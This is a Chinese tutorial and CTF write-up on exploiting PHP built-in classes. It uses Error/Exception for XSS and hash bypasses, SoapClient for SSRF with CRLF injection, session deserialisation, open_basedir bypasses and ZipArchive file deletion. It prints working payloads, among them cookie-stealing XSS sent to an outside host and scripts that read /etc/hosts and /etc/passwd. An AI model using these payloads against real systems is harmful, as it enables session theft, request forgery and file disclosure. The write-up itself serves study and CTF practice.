前言

这是去年在刚接触PHP内置类的时候写下的一些常用的和PHP内置类相关的学习。

原生类

  • Error

  • Exception

  • SoapClient

  • Directorylterator

  • SimpleXMLElement

Error/Exception内置类的使用

XSS
Error类

条件

  • php7版本

  • 开启报错

Error类是一个php的内置类,用于自定义一个Error,内置有一个__toString()方法,如果把他作为字符串使用的时候就会触发这个方法:echo <object>类似这种

//test.php
<?php
$str = unserialize($_GET['cmd']);
echo $str;
?> 

很明显是一个反序列化问题,但是没有可以利用的魔术方法

我们使用Error类触发其中的__toString()方法

//POC
<?php
$str = new Error("<script>alert("xss_successful")</script>");
echo urlencode(serialize($str));
//O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A40%3A%22%3Cscript%3Ealert%28%27xss_successful%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22D%3A%5Cphpstudy%5CPHPTutorial%5CWWW%5Ctest1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D 

GET传参:成功执行js

1.png

Exception类

条件

  • php5/php7版本

  • 开启报错

同样具有__toString()魔术方法

测试:

<?php
highlight_file(__FILE__);
$str = unserialize($_GET['cmd']);
echo $str;
?> 

POC:

<?php
$str = new Exception("<script>alert('xss_successful')</script>");
echo urlencode(serialize($str));
?>
//O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A40%3A%22%3Cscript%3Ealert%28%27xss_successful%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22D%3A%5Cphpstudy%5CPHPTutorial%5CWWW%5Ctest1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D 

GET传参

2.png

成功执行

例题

xss之光

打开题目就是gungungun

3.png

我们进行信息收集,发现了git泄露

python2 GitHack.py http://b4c894c7-cf52-4dc3-8a2e-4438d75072ab.node4.buuoj.cn/.git/

4.png

得到index.php

//index.php
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a); 

很明显有一个unserialize()函数,但是没有魔术方法可以利用,我们可以想到使用PHP内置类,通过echo来触发内置类中的__toString()魔术方法来实现反序列化

而且可以观察到X-Powered-By字段泄露了使用了php5版本

所以我们使用Exception()内置类进行xss

我们使用xss将cookie带出来

  • 使用window.open()打开新窗口的方法带出cookie

  • 使用window.location.href='url'实现恶意跳转带出cookie

  • 使用alert(document.cookie)通过弹窗弹出cookie

//payload
<?php
$str = new Exception("<script>window.open('http://b4c894c7-cf52-4dc3-8a2e-4438d75072ab.node4.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($str));
?>
    
<?php
$str = new Exception("<script>window.location.href='http://4359bb0c-611c-4df8-a0e5-2545a73fc9fd.node4.buuoj.cn:81/?'+document.cookie</script>");
echo urlencode(serialize($str));
?>
 
<?php
$str = new Exception("<script>alert(document.cookie)</script>");
echo urlencode(serialize($str));
?>
//如果开启了httponly是不能够成功的 

效果:

5.png

绕过哈希比较
Error/Exception类

区别:

Error是用于php7, Exception类适用于php5/php7

__toString()将错误的对象异常或者错误的对象转化为字符串

Error为例:

<?php
$a = new Error("aaa", 1);
echo $a;
?> 

6.png

抛出了错误,其中的2是对应的行号,但是我们可以发现其中的错误对象1并没有输出

之后测试

<?php
$a = new Error("aaa", 1); $b = new Error("aaa", 2);
echo $a;
echo "\n\n";
echo $b;
?> 

结果图:

7.png

我们发现$a,$b中的错误对象并不相同,但是返回的是相同的

这里必须要保证这个两个Error类在同一行,不然返回的值不一样

例题

极客大挑战2020 Greatphp

打开题目

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               //过滤了<?php ( ) " '
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?> 

我们使用<?=绕过<?php

php标签的几种写法:
    <?php ?>
    <?php
    <? ?> //需要php.ini中开启short_open_tag=On
    <?= ?>
    <% %> //需要php.ini中开启asp_tags=On
    <script language="php">xxx</script> 

禁用了括号,不能使用函数,我们使用include "/flag"包含他

但是同时过滤了引号,我们进行取反

<?php
$str = "/flag";
echo urlencode(~$str);

?>
    //%D0%99%93%9E%98 

O对了,还有如果对一个类求他的哈希值,就会触发他的__toString()魔术方法,我们就可以使用前面说的方法绕过sha1和md5的比较

//POC:
<?php
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}
$payload = "?><?=include~".urldecode('%D0%99%93%9E%98')."?>";
$str = new SYCLOVER();
$str->syc = new Exception($payload, 1); $str->lover = new Exception($payload, 2);
//这里的php版本是7,所以Error和Exception类都可以使用
echo urlencode(serialize($str));
?> 

GET传参之后

8.png

成功执行payload,得到flag

利用SoapClient类SSRF

SoapClient类学习

php5/php7/php8

9.png

我们可以看到有一个__call()魔术方法,如果调用触发这个 魔术方法,他会发送http/https请求

这个类的构造方法:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。

  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri是SOAP服务的目标命名空间。

SSRF测试
<?php
//需要php.ini中加载php_soap.dll扩展
$a = new SoapClient(null, array(
    'location' => 'http://yourip:port/aaa',
    'uri' => 'http://yourip:port'
));
$b = serialize($a);

echo $b;

$c = unserialize($b);
$c->aaaa();//触发__call魔术方法
?> 

开启端口监听

10.png

成功SSRF

其中发现SOAPAction头参数可控

如果我们配合CRLF漏洞的话就可以设置POST请求的body就可以控制

<?php
$a = new SoapClient(null,array('uri'=>"bbb\r\n\r\nPOST_request_body\r\n", 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
?> 

11.png

但是Content-Type在SOAPAction的上面,我们就不能控制POST请求的数据

其中我们发现User-AgentContent-Type的上面,而且似乎也可控

<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=my_session'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'RoboTerh^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?> 

实现了任意POST请求

12.png

当然,在攻击redis的时候也可以通过这种方法插入redis命令

例题

bestphp's revenge

打开题目

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> 

通过目录扫描得到/flag.php

13.png

很明显需要我们ssrf来访问其中的/flag.php

但是没有ssrf的利用点

我们可以想到使用php原生类SoapClient来触发其中的__call()魔术方法来进行ssrf得到flag

因为他是把得到的flag放在session中的,我们就需要设置一个cookie来访问这个session文件进而得到flag

<?php
$str = "http://127.0.0.1/flag.php";
$a = new SoapClient(null, array(
    'location' => $str,
    'uri' => "http://127.0.0.1",
    'user_agent' => "RoboTerh\r\ncookie: PHPSESSID=123456\r\n"
));
$payload = urlencode(serialize($a));
echo "|".$payload;
?>
//|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A40%3A%22RoboTerh%5Cr%5Cncookie%3A+PHPSESSID%3D123456%5Cr%5Cn%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 

生成了反序列化的payload,但是从哪里进行反序列化入口呢

题目中和session有关,想到session反序列化这个途径

//session.serialize_handler=php
<?php
session_start();
$_SESSION['name'] = 'RoboTerh';
?> 

得到

name|s:8:"RoboTerh";

//session.serialize_handler=php_serialize
<?php
session_start();
$_SESSION['name'] = 'RoboTerh';
?> 

得到session文件内容

a:1:{s:4:"name";s:8:"RoboTerh";}

当序列化和反序列化的时候使用不同的引擎就会导致session反序列化漏洞触发

当我们传入

$_SEESION['key'] = '|value';

那么使用php_serialize的到序列化内容为

a:1:{s:3:'key';s:6:'|value';}

如果用php引擎来进行反序列化的时候,用|分隔键名和键值的内容

key为:

a:1:{s:3:'key';s:6:'|

value为:

value';}

则:

| + 序列化内容就可以触发漏洞

要进行session反序列化,就需要将反序列化引擎修改为php_serialize(默认为php)

call_user_func($_GET['f'], $_POST) 

call_user_func()是一个回调函数,则可以构建session反序列化

14.png

成功设置了PHPSESSIONID=123456

但是没有触发SSRF漏洞,我们需要访问一个不存在的函数触发__call()魔术方法,进而进行SSRF

发现

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a); 

我们需要触发session对象的__call()方法,而且call_user_func()函数有一个特性就是:如果传入的是一个数组的话,会将数组的第一个参数当作类名,第二个参数当作函数名

所以我们可以通过extract()函数将变量b覆盖为call_user_func这样就变成了call_user_func(call_user_func, array(reset($SESSION), 'welcome_to_the_lctf2018')),这样就会触发__call()这个魔术方法,进而实现SSRF

15.png

成功触发了__call()方法

之后我们传入PHPSESSIONID值,利用var_dump($_SESSION)来得到flag的值

16.png

绕过open_basedir

使用DirectoryIterator类目录遍历

DirectoryIterator原生类中有一个魔术方法__toString(),触发这个方法将会返回这个迭代器的第一项

测试
//test.php
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b); //触发__toString方法
?> 

GET传参a=DirectoryIterator&b=.

结果如下

17.png

如果这时候配合上glob://伪协议

  • 支持通配符 ? *

  • 支持正则匹配 [a-z]

结果如下

18.png

当然,不止一个test开头的文件,他只是返回了第一个文件

//test.php
<?php
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo ($f->__toString().'<BR>');
}
# payload一句话的形式:
# $a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
?> 

通过迭代,可以遍历文件

19.png

使用FilesystemIterator类目录遍历
用法

和上面的用法类似

使用GlobIterator类目录遍历
用法

这个原生类是自带glob的,所以,我们只需要传入glob协议后面的内容就可以了

使用SplFileObject类读取文件
测试
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);
?> 

GET传参a=SplFileObject&b=test.html

20.png
test.html内容为
21.png
我们发现只读取了第一行的内容

这个类的构造函数传入的是一个文件名,想到可以使用php伪协议

22.png

成功使用伪协议读取文件内容

23.png

非原生类读取open_basedir限制文件
ini_set() + 相对路径读取

由于open_basedir自身的问题,设置为相对路径..在解析的时候会致使自身向上跳转一层

<?php
	show_source(__FILE__);
	print_r(ini_get('open_basedir').'<br>');
	
	mkdir('test');
	chdir('test');
	ini_set('open_basedir','..');
	chdir('..');
	chdir('..');
	chdir('..');
	ini_set('open_basedir','/');
	
	echo file_get_contents('/etc/hosts');

?> 

若open_basedir限定到了当前目录,就需要新建子目录,进入设置其为..,若已经是open_basedir的子目录就不需要,因为限定到了当前目录再设置为..就会出错。之后每次引用路径就会触发open_basedir判别,而在解析open_basedir的时候会拼接上..,从而引发open_basedir自身向上跳一级,最后跳到了根目录,再将open_basedir设置到根目录即可

shell命令执行读取文件操作

cat /etc/passwd

symlink()软链接

当前路径是/www/wwwroot/default新建目录数量=需要上跳次数+1

<?php
    show_source(__FILE__);
    
    mkdir("1");chdir("1");
    mkdir("2");chdir("2");
    mkdir("3");chdir("3");
    mkdir("4");chdir("4");
    
    chdir("..");chdir("..");chdir("..");chdir("..");
    
    symlink("1/2/3/4","tmplink");
    symlink("tmplink/../../../../etc/hosts","bypass");
    unlink("tmplink");
    mkdir("tmplink");
    echo file_get_contents("bypass");
?> 

symlink会生成一个快捷方式,首先明确需要上跳三次,建四个目录,然后生成软连接symlink("1/2/3/4","tmplink"),然后再生成symlink("tmplink/../../../../etc/hosts","bypass");,化简一下也就是etc/hosts,在当前目录下,因此通过了open_basedir创建成功

之后,把软连接tmplink换成文件夹tmplink,变成了/www/wwwroot/default/tmplink/../../../../etc/hosts,化简就是/etc/hosts

关键就在于软连接中相对路径的转换是不区分类型,用文件夹顶替了软连接

XXE漏洞利用

SimpleXMLElement

PHP 5, PHP 7, PHP 8

构造函数

public SimpleXMLElement::__construct(
string$data,
int$options= 0,
bool$dataIsURLfalse,
string$namespaceOrPrefix= "",
bool$isPrefixfalse
)

data为xml格式的字符串,也可以是外部的url,我们设置data_is_url为true就可以使用url方法

删除文件利用

利用ZipArchive类进行删除

php5.20之后

这个类有一个open方法

ZipArchive::open(string $filename, int $flags=0)

参数解释

filename: 要打开的zip文件名

flags: 打开模式:

  • ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。

  • ZipArchive::CREATE:如果不存在则创建一个zip压缩包。

  • ZipArchive::RDONLY:只读模式打开压缩包。

  • ZipArchive::EXCL:如果压缩包已经存在,则出错。

  • ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。

如果设置flags参数的值为ZipArchive::OVERWRITE的话,可以把指定文件删除。

这里flags同样可以使用8来表示ZipArchive::OVERITE

Reflection的妙用

利用反射类得到已知类的方法和信息
Reflection类的使用

本文作者:RoboTerh, 转自FreeBuf